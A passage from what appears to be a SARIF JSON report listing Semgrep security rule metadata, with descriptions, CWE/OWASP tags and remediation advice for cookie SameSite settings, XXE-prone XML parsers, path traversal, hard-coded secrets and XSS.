minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","id":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","name":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","id":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","name":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","id":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","name":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"help":{"markdown":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string)\n","text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"helpUri":"https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string","id":"python.flask.caching.query-string.flask-cache-query-string","name":"python.flask.caching.query-string.flask-cache-query-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.flask.caching.query-string.flask-cache-query-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","id":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","name":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer","id":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","name":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","id":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","name":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"help":{"markdown":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output)\n - [https://pkg.go.dev/runtime/pprof#Profile](https://pkg.go.dev/runtime/pprof#Profile)\n","text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"helpUri":"https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","id":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","name":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","id":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","name":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 